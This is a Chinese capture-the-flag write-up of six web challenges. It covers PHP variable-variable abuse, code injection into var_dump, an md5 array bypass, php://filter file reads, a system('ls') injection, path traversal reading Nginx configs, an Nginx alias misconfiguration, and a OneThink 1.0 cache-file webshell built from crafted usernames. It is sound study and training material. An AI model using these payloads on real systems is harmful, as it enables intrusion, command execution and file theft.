爆破-1
分值:10分 类型:MiscWeb
题目内容:flag就在某六位变量中。
启动靶机,打开题目:
进入页面为一段源码,分析代码:
- 包含
flag.php
文件 - 需要传入变量
hello
的值 - 正则表达式匹配:一个或多个
[A-Za-z0-9_]
var_dump()
函数用于输出变量的相关信息show_source()
函数对文件进行语法高亮显示
var_dump()
函数中的变量为$$a
->$hello
,会打印出$hello
的值,根据提示flag在六位变量
,想到:使用GLOBALS
查看所以变量的值:
?hello=GLOBALS
访问后得到所有变量的值:
可以得到flag
在变量d3f0f8
中,构造payload:
?hello=d3f0f8
得到flag
爆破-2
分值:10分 类型:MiscWeb
题目内容:flag不在变量中。
启动靶机,打开题目:
进入页面为一段源码,分析代码:
- 包含了
flag.php
文件 - 需要为变量
hello
传入参数 - 会显示传入参数的相关信息
尝试传入参数:
?hello=$GLOBALS
得到回显信息:
根据提示,flag
不在变量中
方法一:
尝试直接读取文件:
?hello=file("flag.php")
file()
函数会将文件读入数组中,数组中的每个单元都是文件中相应的一行:
得到flag
方法二:
使用file_get_contents()
函数:
/?hello=file_get_contents('flag.php')
查看网页源代码:
得到flag
方法三:
闭合原语句var_dump(
的括号,使用highlight_file()
函数读取flag.php
的内容:
?hello=);highlight_file("flag.php");var_dump(
得到flag
爆破-3
分值:10分 类型:MiscWeb
题目内容:这个真的是爆破。
启动靶场,打开题目:
得到一段源码:
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
分析源码:
- 关闭错误报告
- 启用
session
会话 - 设置变量
nums
为0
;time
为当前时间;whoami
的值为:ea
120
秒后结束回话- 传入变量
value
的值 - 创建一个从 “
a
” 到 “z
” 的数组$str_rand
mt_rand()
从0-25
随机选取数字,整句话得到两个随机字母whoami
需要等于value
的前两位,并且value
的md5
值的第5
为开始,长度为4
的字符串==0
- 循环
10
次输出flag
需要我们做的就是在120
秒内传递10
次value
的值,并且用md5()
不能加密数组的方式绕过,构造payload:
?value[]=ea
再次传入返回的两个字母:
?value[]=fh
多次后得到flag
include
分值:50分 类型:Web
题目内容:没错!就是文件包含漏洞。
启动靶机,打开环境:
给出了源码和PHP配置文件信息,提示为文件包含漏洞,检索配置信息:
可以看到allow_url_fopen
关闭,allow_url_include
开启,即禁止打开URL文件,但允许引用URL文件,尝试使用php伪协议,先查看当前目录下文件信息:
使用Google Chrome的插件HackBar通过POST方式传参:
<?php system('ls');?>
得到了三个文件,猜测flag
在dle345aae.php
中,
?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
得到Base64机密后的flag
:
在线Base64解码得到flag
:
Zone
分值:50分 类型:Web
题目内容:网站要上线了,还没测试呢,怎么办?
启动靶机,打开题目:
是一个空间登陆界面,尝试登陆:
判断不是SQL注入漏洞,继续寻找线索,查看robots.txt
访问该页面:
只有一句话,尝试寻找别的线索,在Cookie
中发现一个参数:login=0
:
将其修改为:1
,再次点击主页:
跳转到新页面,尝试恢复乱码失败,通过官方writeup知道了是Nginx配置不当漏洞
,尝试访问上级目录:
../
将其插入到index.php
中,发现页面回显正常,可能被过滤掉,尝试双写绕过:
/manages/admin.php?module=..././..././..././etc/nginx/nginx.conf&name=
最后一句:include sites-enabled/default;
,继续访问:
?module=..././..././..././etc/nginx/sites-enabled/default&name=
location /online-movies { alias /movie/; autoindex on; }
其中autoindex on
意味着存在漏洞遍历漏洞,结合之前的flag.php
即可构造payload:
/online-movies../var/www/flag.php
下载得到flag
文件:
打开文件得到flag
OneThink
分值:50分 类型:Web
题目内容:利用已知的漏洞拿shell吧。
启动靶机,访问页面:
根据描述已知漏洞
,查询OneThink1.0
版本的漏洞:
OneThink1.0文件缓存漏洞分析及题目复现
原理参考本篇文章,只说利用,注册用户%0a$a=$_GET[a];//
使用BurpSuite抓取数据包,将%0a
进行URL解码:
发送数据包,注册成功,第二次注册用户:%0asystem($a);//
,注册过程相同,按顺序使用两个账号进行登录:
与注册一样,使用BurpSuite抓取数据包,将%0a
进行URL解码,发送修改后的数据包:
登陆成功,访问:/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php
:
查看当前文件夹下内容:
/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls
通过../
访问上层目录:
在?a=ls ../../
的时候发现flag.php
:
使用cat
命令访问,即最终payload:
/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php
在网页源码中得到flag
: